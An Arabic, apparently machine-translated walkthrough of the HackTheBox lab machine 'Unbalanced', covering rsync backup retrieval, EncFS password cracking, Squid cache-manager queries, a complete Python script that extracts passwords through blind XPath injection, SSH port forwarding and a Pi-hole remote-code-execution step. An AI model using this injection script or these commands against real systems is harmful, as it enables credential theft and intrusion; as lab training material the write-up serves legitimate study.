هاكذا بوكس. تجول غير متوازن. Rsync و EncFS و Squid و XPath و RCE في Pi-hole







أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .



في هذه المقالة ، نتعامل مع النسخ الاحتياطي في rsync ، وتخمين كلمة المرور لـ EncFS ، والعمل مع الخادم الوكيل Squid ، واستغلال حقن XPath واستغلال RCE في Pi-hole.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



يحتوي هذا الجهاز على عنوان IP يبلغ 10.10.10.200 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.200 	unbalanced.htb
      
      





الخطوة الأولى هي فحص المنافذ المفتوحة. أفعل ذلك باستخدام النص التالي ، والذي يأخذ وسيطة واحدة - عنوان المضيف الذي يتم فحصه:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      









ونلاحظ خدمات بروكسي SSH و rsync و Squid. Rsync هو برنامج لأنظمة تشبه UNIX يقوم بمزامنة الملفات والدلائل في موقعين مع تقليل حركة المرور. يمكن لـ Rsync نسخ أو عرض محتويات الدليل ونسخ الملفات ، اختياريًا باستخدام الضغط والتكرار.



دعونا نرى قائمة الوحدات المتاحة.



rsync --list-only rsync://unbalanced.htb:873
      
      









انسخ conf_backups.



rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
      
      









من خلال وجود ملف .encfs6.xml ، نفهم أن هذا هو مجلد EncFS مشفر. دعنا نحصل على تجزئة لكلمة المرور.







ودعنا نفرزها.







وبالتالي ، نحصل على كلمة المرور التي تم إجراء التشفير بها. يبقى لتركيب القسم.







ونحصل على قائمة عادية بالملفات.







هذه ملفات تكوين بشكل أساسي ، ونحن مهتمون أكثر بـ squid.conf. دعونا نرى كل الأسطر غير المعلقة.



cat squid.conf | grep -v '^#' | uniq
      
      













نحفظ كلمة المرور ونضع علامة على اسم المجال الجديد الذي نضيفه إلى / etc / hosts. نحن ننظر أيضًا إلى قوائم ACL.



10.10.10.200    intranet.unbalanced.htb
      
      





قم بتثبيت الوكيل في المتصفح والرجوع إلى خادم الويب باستخدام اسم المجال الموجود.







نحن في استقبالنا من خلال نموذج التفويض. بعد قضاء بعض الوقت معها ، تقرر مواصلة العمل مع الحبار.



نقطة الدخول



دعنا نلقي نظرة على الخيارات المتاحة.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
      
      









ويمكننا العثور على المزيد من أسماء النطاقات.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
      
      









وهناك ثلاثة أسماء أخرى. نضيفهم إلى / etc / hosts (تم اختيار الأخير منطقياً).



172.31.179.2    intranet-host2.unbalanced.htb 
172.31.179.3    intranet-host3.unbalanced.htb
172.31.179.1    intranet.unbalanced.htb
      
      





وفي البداية نرى أن هذا الموقع هو حل مؤقت.







ثم نصل إلى نفس نموذج التفويض.



المستعمل



نقوم باختباره مرة أخرى والحصول على رد على الطلب "أو" = ".











ونحصل على قائمة المستخدمين. هذا هو حقن XPath. الحقيقة هي أنه بمساعدة بعض الاستعلامات ، يمكننا معرفة كلمات مرور المستخدم لأسماء معينة.



لتبدأ ، يمكنك تحديد طول كلمة المرور باستخدام وظيفة طول السلسلة. اختبار عند تسجيل الدخول. نعلم أن الطول الصحيح هو 5 ، جرب الشرط مع 4 و 5 ولاحظ الفرق.











الفرق واضح. بعد تحديد الطول ، يمكننا الحصول على كلمة المرور حرفًا واحدًا في كل مرة. نحن أيضًا نختبر عند تسجيل الدخول. خذ الحرف الأول وقارنه بـ "أ" ثم "ب".











الفرق واضح أيضا. دعنا نكتب رمزًا يقوم بفرز جميع كلمات المرور لكل تسجيل دخول بطريقة مماثلة.



import requests
import string

url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']

pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"

for user in users:
    for l in range(1,25):
        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
        request = requests.post(url=url, data=data, proxies=proxies)
        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
        if 'Invalid credentials.' not in request.text:
            passwd = ''
            for num in range(l):
                for c in string.printable[:94]:
                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
                    request = requests.post(url=url, data=data, proxies=proxies)
                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
                    if 'Invalid credentials.' not in request.text:
                        passwd += c
                        break
            print(user +" : "+ passwd + " "*10)
            break
      
      









والمستخدم الأول لديه وصول SSH بكلمة المرور التي تم العثور عليها.







جذر



ابحث عن قائمة TODO في الدليل الرئيسي للمستخدم.







ويمكننا أن نرى أن المهام المتعلقة بـ Pi-hole لم تكتمل بعد (كلمة المرور هي admin). لكن لم يكن من الممكن عرض المنافذ المفتوحة ، لأن netstat مفقود. ثم يمكنك استخدام هذا البرنامج النصي .







المنفذان 8080 و 5553 مفتوحان











وفي الإجابة نجد مجالًا آخر وعنوان IP المقابل. دعونا نترك المنفذ ونستخدم المتصفح.



ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
      
      









انتقل إلى الصفحة وقم بتسجيل الدخول باستخدام مدير كلمة المرور. في الجزء السفلي نرى الإصدار.







دعونا نرى مآثر.











لنبدأ المستمع وننفذ الاستغلال.











دعونا نلقي نظرة على ملفات الجذر ونجد البرنامج النصي المذكور في قائمة TODO.











يحتوي على كلمة مرور.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد وتقارير ودورات مسربة وبرامج مثيرة للاهتمام. دعنا نجمع مجتمعًا يكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بأمن تكنولوجيا المعلومات والمعلومات



All Articles